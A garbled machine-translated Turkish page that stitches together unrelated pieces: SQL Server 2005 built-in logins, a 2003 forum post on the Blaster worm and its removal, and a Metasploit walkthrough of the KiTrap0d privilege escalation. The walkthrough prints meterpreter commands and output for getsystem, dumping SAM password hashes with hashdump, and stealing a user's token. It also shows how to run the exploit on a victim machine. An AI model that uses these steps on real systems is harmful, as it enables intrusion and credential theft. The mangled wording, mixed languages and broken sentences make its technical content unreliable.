Vbudovani oturumları SQL Server 2005, YAPI\Yöneticiler, , NT YETKİ\SİSTEM, sa

SQL Server 2005'i bir kapsayıcıya kurduktan hemen sonra Girişler z'yavlyaєtsya, otomatik olarak scho stulyuyuyutsya'ya giriş yapar. Her şey için Shvidshe, coristuvachiv'in bağlantısı için vikoristuvatimete їх yapmazsınız. Tim daha az değil, durumu suçlayın, bazı oturum açma bilgilerinde iyi olabilirsiniz (örneğin, idari oturum açma bilgileriniz yanlışlıkla engellenirse).

Q YAPI\Yöneticiler (Öte yandan YAPI\Yöneticiler, zalezhno v_d movi işletim sistemi) - Windows grubunun oturum açmasına otomatik olarak SQL Server sistem yöneticisinin hakları verilir. Bilgisayarın etki alanına girmesi için saygıyı iade edin, grubu otomatik olarak yakalayan grup grubuna İhtisasYöneticiler(Etki alanı yöneticileri) ve bu sıralamada, kilitleme için etki alanı yöneticileri SQL Server üzerinde tam haklara sahip olabilir. Böyle bir durum dayanılmaz olduğundan, tüm girişleri görebilirsiniz. Ancak her durumda, etki alanı yöneticileri SQL Server verilerine erişimi umursamayacaktır.

Q Sunucu adı 2005MSFTEUKullanıcı$ Sunucu adı$Im'ya_conciliator , Sunucu adı 2005MSSQLKullanıcı$ Sunucu adı$Im'ya_conciliator ,Sunucu adı 2005SQLAgentKullanıcı$ Sunucu adı$Im'ya_conciliator - qi için üç oturum açma Windows grubu podklyuchennya için vykorivayutsya SQL Server 2005'e vіdpovіdnyh hizmetler. Onlarla SQL Server 2005 ile aynı düzeyde, vikonuvat kaksіs operatsії, oskolki tüm nebhіdnі hakları vzhe nadanі. Nadir durumlarda, SQL Server hizmetlerini çalıştırmak gibi Windows üzerinde bu gruplara bulut kayıtları eklemeniz gerekebilir.

Q NT YETKİ\AĞ SERVİSİ - qiєї adına oblіkovogo kaydı Windows Server 2003, Raporlama Hizmetleri de dahil olmak üzere ASP .NET programlarını çalıştırır ASPNET). Bu Windows oturumu, SQL Server Raporlama Servislerine bağlanmak için kullanılır. Otomatik olarak veri tabanı için gerekli haklara sahip olursunuz mYıldız çiçeği, msdb Raporlama Hizmetlerinin kazandığı verilere dayalı olan.

Q NT YETKİ\SİSTEM - işletim sisteminin tüm yerel sistem görüntü kaydı. SQL Server hizmet robotunu bir yerel sistem bulut kaydı adına kurduysanız, bu tür bir oturum açma böyle durumlarda görünür. Hangi SQL Server oturumunun kendisine çevrildiği söylenebilir. Açıkçası, bu oturum açma bir SQL Server sistem yöneticisinin haklarına sahiptir.

Q sa (ve sistemyönetici) - SQL Server'ın kilitleme için oluşturulmuş tek oturum açma türü. SQL Server sistem yöneticisinin haklarına sahipsiniz ve yenisinin haklarını değiştiremezsiniz. Aynı girişi göremezsiniz. Prote yoga değiştirilebilir veya sessize alınabilir. SQL Server 2005 için yalnızca kimlik doğrulama yapılandırılacaktır pencereler, sunucuya bağlanmak için bu girişi kazanmak için girmeyin.

DİKKAT!!! DİKKAT!!! DİKKAT!!!
GÜVENLİ OLMAYAN SOLUNUM!

Belirtiler: Tedbirde çalışırken, para biriktirmek için tüm programları tamamlaması gerekenleri hatırlatan hızlı bir mesaj var, çünkü. 60 sn sonra yeniden bir ilerleme olacaktır.

Teşhis: W32.Blaster.worm.Worm Exploiter, RPC DCOM hizmetinde 16 tiftik buldu. işletim sistemleri Windows 2000, Windows XP ve Windows 2003 aileleri.Bu tutarsızlık arabellek taşması yani saldırıya uğrayan bilgisayarın 135, 139 veya 445 numaralı bağlantı noktasına gelen bir TCP/IP paketini katlayacağımız anlamına gelir. En azından bir DoS saldırısına izin verir (DoS, "Hizmet Reddi" veya "hizmette" anlamına gelir, bu durumda - saldırıya uğrayan, yeniden saldırıya uğrayan bir bilgisayar) ve maksimumda - saldırıya uğrayan bilgisayarın hafızasında vikonati ne kodu olsun. Yeni solucan, 135. bağlantı noktasına genişletilmiş saldırısıyla ve bir kez başarılı olduğunda, yardım için TFTP.exe programını başlattı, kendi bilgisayarında zavantazhu kötü dosya. Bir coristuvachev gördüğünüzde, RPC hizmeti hakkında bir bildirim var ve ardından yeniden avantaj. Yeniden devreye girdikten sonra, solucan otomatik olarak başlayacak ve açık bağlantı noktası 135 olan bilgisayarlar için bilgisayardaki kullanılabilir ağları taramaya başlayacaktır. Bu tür solucanlar ortaya çıktığında, bir saldırı gerçekleştirmek, ancak baştan tekrarlanır. Ayrıca, rozpovsyudzhennya'nın hızına bakılırsa Narazi, Nezabarom worm'yak anti-virüs firmaları listelerinde ilk sırada yer alıyor.

Yüzler:Іsnuyut bir hrobak'a karşı savunmanın üç yolu. İlk olarak, Microsoft Bülteni, RPC'deki boşluğu kapatmak için Windows'un tüm farklı sürümleri için yamalara işaret etti (yamalar, sistemi düzenli olarak güncelleyenler için endişelenmeyin, 16'dan fazla lindens yayınlandı). Farklı bir şekilde, 135. bağlantı noktası bir güvenlik duvarı tarafından engellenirse - hrobak bilgisayara giremez. Üçüncüsü, uç bir dünya olarak, DCOM'u etkinleştirmek yardımcı olur (prosedür Microsoft bülteninde ayrıntılı olarak açıklanmıştır). Bu şekilde, chrobak'ın saldırılarını henüz tanımadığınız için - Microsoft sunucusundan işletim sisteminiz için bir yama almanız şiddetle tavsiye edilir (örneğin, acele edin). Windows hizmetleri Güncelleme), aksi takdirde güvenlik duvarından 135, 139 ve 445 numaralı bağlantı noktalarını engeller. Bilgisayarınıza virüs bulaştığı anda (ve bununla ilgili bildirimlerin görünümü miltsi RPC kesin olarak enfeksiyonun hatalı olduğu anlamına gelir), o zaman DCOM'u kapatmak gerekir (cilt saldırısı durumunda yeniden takmak gerekir), ardından bir yama eklemek gerekir. Solucanları öldürmek için, HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run yak kayıt defteri anahtarından "windows auto update"="msblast.exe" girişini silmek gerekir. Chroback'i kaldırma prosedürü hakkında bir raporu Symantec web sitesinde okuyabilirsiniz.

Şu anda, tüm antivirüsler bir solucan göstermiyor - ancak güncelleme kullanımdan kaldırıldıktan sonra mümkün olacak.

Bu nedenle, Bill Amca'dan indirme yamalarını henüz duyurmadınız:

İşte NT 4.0 ve 2000, 2003 Server için beğenilere bağlantılar

Kelimenin tam anlamıyla, odanın başka bir Metasploit'e inşa edilmesinden birkaç gün önce satın alındı
Hakkında yardım edemediğimiz ama anlatamadığımız yeni modül. Zavdyaki
yeni getsystem komutuyla, güvenliği ihlal edilmiş bir sisteme geçmek mümkün hale geldi
z Kullanıcı Düzeyi zil0'da NT AUTHORITY\SYSTEM! ben tse - be-yakah
Windows sürümleri.

19 Eylül 2010'da halka açıldı
Yayınlanan NT 3.1 ile başlayan herhangi bir Windows sürümü için ayrıcalık yükseltmesi
1993 rock ve yeni çıkmış "Simka" ile biten. Exploit-db.com hacker Tavis'te
Ormandy, KiTrap0d sploit'inin yanı sıra derlemeler için bir rehber olarak yayınlandı.
binarnik, zastosuvannya'ya hazır. Orijinal sploїt'u deneyin belki
buggy. Kimler için vdmexploit.dll ve vdmallowed.exe arşivlerini indirmek gerekir,
kurban makinesine aktarın ve exe dosyasını orada çalıştırın. İÇİNDE
bazı koristuvach vikonano hesabı altında olup olmadığına bakılmaksızın sonuçlar
başlat, konsol sistem coristuvacha, ardından NT ayrıcalıklarıyla görünür
YETKİ\SİSTEM. Doğrulama uğruna, makinenizde bir bölme çalıştırabilirsiniz,
Daha önce büyük coristuvach altında sisteme giriş yapmış olmak. Lansmandan sonra
maksimum ayrıcalıklara sahip sploїta vіdkryєtsya vіkno cmd.exe.

ne veriyorsun Birleştirici bir ek ile kırılan durumu ortaya çıkarın ve
otrimu kabuğu üzerinde uzak bilgisayar. İnternet için zgurtuvati olsun
Explorer - Saldırganın sisteme erişim hakları elinde olacak
tarayıcının başlatıldığı görünümü altında bu koristuvach'ın. ben kavga etmiyorum dostum
genellikle bir yöneticinin haklarına sahip resmi bir kayıt olacaktır (koristuvach'ın kendisi suçludur), ancak
nasıl olmaz? Eksen burada ve ayrıcalıklarınızı artırmak için KiTrap0d'yi kullanabilirsiniz.
NT AUTHORITY\SYSTEM'e! Ayrıca, navit tі koristuvachі, yakі gruba girer
yönetici, örneğin sistemin en üstüne çıkamıyor,
Koristuvachiv'de parola karmalarını okuma (aşağıya bakın). Ve NT sistem hesabı -
belki! Aynı zamanda, aynı yamanın makalesinin yan tarafından yayınlandığı sırada
Çekişmeyi dizginleyen Microsoft serbest bırakılmadı.

"Sistemin saklanması" işlemi

Orijinal dayanışmayı dii'de göstermeyeceğiz, çünkü 25
Metasploit'e şimdi yeni bir komut dosyası eklendi
KiTrap0d daha kullanışlı hale geldi. Modüllerin temelinde çok para harcadıktan sonra, buv'un varyantı
kararsız ve spratsovuvav zavzhd değil, ama gün geçmedi, af buli gibi
emdi. Aynı zamanda modül diğer güncellemelerle birlikte tek seferde indirilir,
bu yüzden yüklemek için "Metasploit güncelleme" menü öğesini seçmeniz yeterlidir.
Artık uzaktaki sisteme erişebilmek için "run kitrap0d" yazıp getirebilirsiniz.
diu'da miting. "Ama bir kez böyle bir p'yanka gönderildiğinde, bunu sizin için yapabiliriz.
özel ekip," diye düşündü Metasploit perakendecileri. Sonuç olarak,
aracılığıyla erişilebilen "ayrıcalıklar vermek" mucizevi bir komuttu.
meterpreter uzantısı - buna ihtiyacımız var :).

Otzhe, uzak sisteme erişebiliriz (çalışma poposu
"Aurora Operasyonu" makalesi tarafından istismar edildi ve konsolda biliniyoruz
metasploit. Haklarımızı nasıl yönettiğimizi merak edelim:

tercüman > getuid

Evet mükemmel coristuvach. Gruptan önce gruba girmek mümkündür
yöneticiler, ama umursamıyoruz. Uygulanan eklenti modülü
bizim için getsystem ekibi
onay ekranı:

meterpreter > priv kullan
Özel...başarı uzantısı yükleniyor.
meterpreter > getsystem -h
Kullanım: getsystem
Not, çeşitli sistemlerden gelen ayrıcalığın gücüne ulaşmak için ağlayın.
SEÇENEKLER:

H Yardım Afişi.
-t Göz kırpma teknolojisi. (Varsayılan olarak "0"dır).
0: Mevcut tüm teknikler
1: Hizmet - Adlandırılmış Boru Kimliğine bürünme (Bellek/Yönetici)
2: Hizmet - Adlandırılmış Boru Kimliğine bürünme (Dropper/Admin)
3: Servis - Token Çoğaltma (Bellek/Yönetici)
4: Exploit - KiTrap0D (Bellek/Kullanıcı)

Gördüğünüz gibi, KiTrap0D komutun işlevselliğinin yalnızca bir kısmını uygular.
Zaten doğru olabilecek coristuvachem'den kabuktan nasıl kurtuldunuz?
yönetici, o zaman kazanabilirsin
diğer üç teknik ( -t anahtarına izin vermeyi seçebilirsiniz). Peki başka ne söylemeden
aynı parametrelerle ilgili olarak, birinin kazanabileceği bir metasploit öneriyoruz.
hacılardan biri ol. Ayrıca ayrıcalıklarımızı eşit düzeye çıkaracak KiTrap0D
"Sistem", bazı haklar ile bile bir anda bize verildi.

tercüman > getsystem
...sistemi var (teknik 4 ile).

Evet, ayrıca saldırı için ayrıcalıkların tanıtımının başarısı hakkındaki bilgileri aldılar.
vikoristovuvavsya KiTrap0D'nin kendisi - belki bir önceliği vardır. chi mi diyno
sisteme girdin mi Mevcut UID'mizi yeniden gözden geçirelim:

tercüman > getuid

Є! Metasploit konsolunda yalnızca bir komut ve NT AUTHORITY\SYSTEM izinleri
bağırsakta biziz. Dali vzagali görünüyor, her şey mümkün. Tahmin ettiğimde, sanırım
Microsoft yaması, derginin yayınlandığı tarihte mevcut değildi.

Şifre dökümü

Sistem oblіkovogo kaydına zaten erişiminiz varsa, o zaman yapmanız gerekir
korisne. Metasploit'in cephaneliğinde hashdump komutu var.
pwdump yardımcı programının daha büyük bir sürümü yüklendi. Üstelik geri kalanında
olan komut dosyası varyantının dönüşümlerinin dahil edilmesinin metasploit versiyonu
LANMAN/NTLM karmalarının ve dock'ların algılanma ilkesini yükseltir
antivirüsler. Ale sens tsoma'da değil. Önemli, viconan için hashdump komutu nedir?
NT AUTHORITY\SYSTEM hakları gerekli. Aksi takdirde, program bir af görecektir.
"[-] priv_passwd_get_sam_hashes: İşlem başarısız: 87". Bana öyle geliyor ki
LANMAN/NTLM-parola karmaları özel kayıt defteri anahtarlarında nasıl saklanır?
HKEY_LOCAL_MACHINE\SAM ve HKEY_LOCAL_MACHINE\SECURITY mevcut değil
yöneticiler. Їх yalnızca oblіkovogo kaydı sisteminin ayrıcalıklarıyla okunabilir.
için hashdump komutuna bakın.
yerel olarak vytyagti z kayıt defteri karması, obov'yazykovo değil. ale yakcho taka
mozhlivist є, neden yok?

tercüman > getuid
Sunucu kullanıcı adı: NT AUTHORITY\SYSTEM

meterpreter > hashdump'ı çalıştır
[*] Önyükleme anahtarı alınıyor...
[*] SYSKEY 3ed7 kullanılarak hboot anahtarının hesaplanması[...]
[*] Kullanıcı listesini ve anahtarları alın...
[*] Kullanıcı anahtarlarının şifresi çözülüyor...
[*] Parola karmaları atılıyor...

Yönetici:500:aad3b435b51404eeaad3b435b51404ee:...
Misafir:501:aad3b435b51404eeaad3b435b51404ee:...
Yardım Asistanı:1000:ce909bd50f46021bf4aa40680422f646:...

Hash'ler kaldırıldı. Kaba kuvvetlerden kurtulmaya çalışmaktan bıktım, örneğin,
l0phtcrack.

Ayrıcalıklar nasıl çevrilir?

Büyüklerin sağına dönmeye çalışsam komik bir durum oldu.
geri. Bulunan rev2self komutu işe yaramadı ve ben zaten
"NT AUTHORITY\SYSTEM" öğesini dışarıda bırakmak: belki robotik trioma için tanınmayacak
getsystem'de uygulanan diğer yaklaşımlar. Döndüğü ortaya çıktı
ayrıcalıklar, belirteci Tim Koristuvach tarafından başlatılan sürece "kazımak" gerekir,
hangi ihtiyacımız var. Bu nedenle tüm işlemler ps komutu ile gösterilir ve bunlardan seçilir.
uygun:

ölçüm yorumlayıcı > ps
İşlem listesi
============
PID Adı Arch Kullanıcı Yolu
--- ---- ---- ---- ----
0
4 Sistem x86 NT YETKİ\SİSTEM
370 smss.exe x86 NT AUTHORITY\SYSTEM\SystemRoot\System32\smss.exe
...
1558 explorer.exe x86 WINXPSP3\kullanıcı C:\WINDOWS\Explorer.EXE
...

Yak mi bachimo, explorer.exe yakraz ve zvuchaynym koristuvacham'ı başlattı
hesap ve Mayıs PID=1560. Şimdi, tamam, kullanarak "belirteci çalabilirsiniz"
çalma_token komutu. PID tarafından iletilen tek parametre olarak
gerekli süreç:

meterpreter > çalma_belirteç 1558
Kullanıcı adıyla çalınan belirteç: WINXPSP3\user
tercüman > getuid
Sunucu kullanıcı adı: WINXPSP3\kullanıcı

"Sunucu kullanıcı adı" alanına göre işlem başarılı olmuştur.

Nasıl çalışıyorsun?

Nasamkinets, ortaya çıkmadan önce neden olan çekişmenin doğası hakkında varto razpovіsti
ralli. Sistemik olanın obrobnik'inde suçlama affı için suçlama savunmasında bir mola
#GP yeniden başlatma (buna nt!KiTrap denir). Çekirdeğin ayrıcalıkları ile onun aracılığıyla
vicon olabilir ek kod. Sistemin gerçeğine bağlı
32-bit x86 platformundaysa, BIOS wiki'lerinin yanlış kopyalanması
16 bit program kazanır. operasyon için
16 bit program (%windir% \twunk_16.exe), eylemleri manipüle ediyor
başlatmak için NtVdmControl() işlevini çağıran sistem yapıları
Windows Sanal DOS Makinesi (diğer adıyla NTVDM alt sistemi), önceki
manipulyatsii, sistem sıfırlamasının haftalık robnik'ine getirmek için #GP
spratsovuvannya sploїtu. Konuşmadan önce yıldızlar çığlık atıyor ve birleşik topraklar
32 bit sistemlerde daha az spratsovuє olan sploїta. 64-bit için
16 bitlik eklentileri çalıştıracak hiçbir operasyonel emülatör yoktur.

Sploїtom'un hazırlanmasıyla ilgili bilgiler neden kamu erişimine israf edildi? varlığı hakkında
tutarsızlık, sploїta'nın yazarı Microsoft'u geçmiş kaderin koçanı hakkında bilgilendirdi ve
navіt otrimav podtverdzhennya, scho yogo zvіt Bulo bakmadan önce kabul etti. sadece vizeler
ve orada hiçbiri. Şirket için resmi bir yama yoktu ve yazar yanılıyordu
doğru olanı en iyi şekilde kamuya açık olarak yayınlayın. merak etmek,
dergi satışa çıktığında chi viide yaması :)?

Kendinizi bir bölünmede nasıl güvence altına alırsınız

Oynaklığın iyileştirilmesi için tam bir yenilemenin parçaları hala mevcut değil,
yolları atlayarak hızlandırmak için olur. Son seçenek -
hemen yayılmasına yardımcı olacak MSDOS ve WOWEXEC alt sistemlerini etkinleştirin
işlevsellik, çünkü NtVdmControl() işlevini çağırmak artık mümkün değil
NTVDM sistemini başlatmak için Windows'un daha eski sürümleri için, aşağıdakiler aracılığıyla uygulanmalıdır:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WOW'u bilmeniz gereken kayıt defteri
її adına herhangi bir karakter ekleyin. Mevcut işletim sistemi için
16-bit programları başlatmak için borsayı kurun
grup politikaları. GPEDIT.MSC dediğimiz kişiler için dağıtıma geçelim
"Koristuvach Yapılandırması/Yönetim Şablonları/Windows Bileşenleri/Özet
ekle" ve "16-bit'e kadar erişim için Çit" seçeneğini etkinleştirin
dodatkiv".

www

Yazarın arsaya olan tuhaflığının açıklaması:

http://archives.neohapsis.com/archives/fulldisclosure/2010-01/0346.html

Microsoft ile ilgili sorunları gidermek için zamanında çözüm:

http://support.microsoft.com/kb/979682

UYARI

Bilgiler kamuya açık amaçlar için sunulmaktadır. Wikimedia її içinde
yasadışı amaçlar cezai uygulanabilirliğe yol açabilir.

NT YETKİ/SİSTEM HATASI,
podomlennya XP - virüs nasıl kaldırılır

Rusça bir sürümünüz varsa, önce dili indirin ve dili değiştirin.

Virüsün kendisi hakkında açıklamalar:

Uchora, Moskova'da yaklaşık 23 yıl sonra, çeşitli forumlarda, Merezha'ya girerken Windows 2000 ve Windows XP'nin harika davranışı hakkında raporlar görünmeye başladı: sistem, RPC hizmetinin affı ve yeniden yararlanma ihtiyacı hakkında bildirimler gördü. Güncellemenin yeniden ilerletilmesinden sonra, en fazla bir çırpıda tekrarlandı ve sonu yoktu.

Yapılan araştırmalar, bugün başlayan yeni pelin, w32.Blaster.worm salgınının tüm salgının sebebi olduğunu gösterdi. , bir sonraki sırada aradığımız gibi, saldırıya uğrayan bilgisayarın 135, 139 veya 445 numaralı bağlantı noktasına gönderilen bir TCP / IP paketini bir araya getireceğiz. En azından bir DoS saldırısına izin verir (DoS, "Hizmet Reddi" veya "hizmette" anlamına gelir, bu durumda - saldırıya uğrayan, yeniden saldırıya uğrayan bir bilgisayar) ve maksimumda - saldırıya uğrayan bilgisayarın hafızasında vikonati ne kodu olsun.

Birincisi, solucanın ortaya çıkmasından önce sınırdaki hantallığın huzursuzluğu için çağrıda bulundu - duruma getirilmesi gereken en basit sömürünün (tutarsızlığın zaferi için programlar) açıklığı, eğer biri bu programı alıp başlatabilirse kısaca barışçıl amaçlar. Ancak alıntılar vardı.

Yeni solucan, 135. bağlantı noktasına genişletilmiş saldırısıyla ve bir kez başarılı olduğunda, bilgisayarın dosyasına saldırması için yardım ettiği TFTP.exe programını başlatır. Bir coristuvachev gördüğünüzde, RPC hizmeti hakkında bir bildirim var ve ardından yeniden avantaj. Yeniden devreye girdikten sonra, solucan otomatik olarak başlayacak ve açık bağlantı noktası 135 olan bilgisayarlar için bilgisayardaki kullanılabilir ağları taramaya başlayacaktır. Bu tür solucanlar ortaya çıktığında, bir saldırı gerçekleştirmek, ancak baştan tekrarlanır. Ayrıca, enfeksiyonların yayılma hızına bakılırsa, bir solucanın virüsten koruma şirketlerinin listelerinde ilk sırada görünmesi nadir değildir.

Іsnuyut bir hrobak'a karşı savunmanın üç yolu.

İlk olarak, Microsoft Bülteni, RPC'deki boşluğu kapatmak için Windows'un tüm farklı sürümleri için yamalara işaret etti (yamalar, sistemi düzenli olarak güncelleyenler için endişelenmeyin, 16'dan fazla lindens yayınlandı).

Farklı bir şekilde, 135. bağlantı noktası bir güvenlik duvarı tarafından engellenirse - hrobak bilgisayara giremez.

Üçüncüsü, uç bir dünya olarak, DCOM'u etkinleştirmek yardımcı olur (prosedür Microsoft bülteninde ayrıntılı olarak açıklanmıştır). Bu şekilde, solucanın saldırılarını hala tanımadık - Microsoft sunucusundan işletim sisteminiz için bir yama almanız (örneğin, Windows Update hizmetlerini kullanmanız) veya 135, 139 ve 445 numaralı bağlantı noktalarını engellemeniz şiddetle önerilir. güvenlik duvarından.

Bilgisayarınıza zaten virüs bulaşmışsa (ve RPC affıyla ilgili bir bildirimin ortaya çıkması, açık bir şekilde enfeksiyonun hatalı olduğu anlamına gelir), o zaman DCOM'u kapatmak gerekir (bir cilt saldırısı durumunda, bir tıklama olacaktır ve yeniden ekleme), gerekirse yamayı koruyun ve kurun.

Geri dönüşü bırakmak için, HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr kayıt defteri anahtarını silmeniz gerekir.
entVersion\Msblast.exe dosyasının ne silineceğini bilmek için "windows auto update"="msblast.exe" girişini çalıştırın - ce ve є hrobak'ın gövdesi. Chroback'i kaldırma prosedürü hakkında bir raporu Symantec web sitesinde okuyabilirsiniz.

Şu anda, tüm antivirüsler bir solucan göstermiyor - ancak güncelleme kullanımdan kaldırıldıktan sonra mümkün olacak.
AHTOH tarafından 17-08-2003 tarihinde 23:29'da gönderildi:

GÜVENLİ OLMAYAN SOLUNUM! Nt Yetki/Sistem Hatası

__________________
İyilik getiririm, fesat getiririm...

Facebook

heyecan

Temas halinde

Google+

arızalar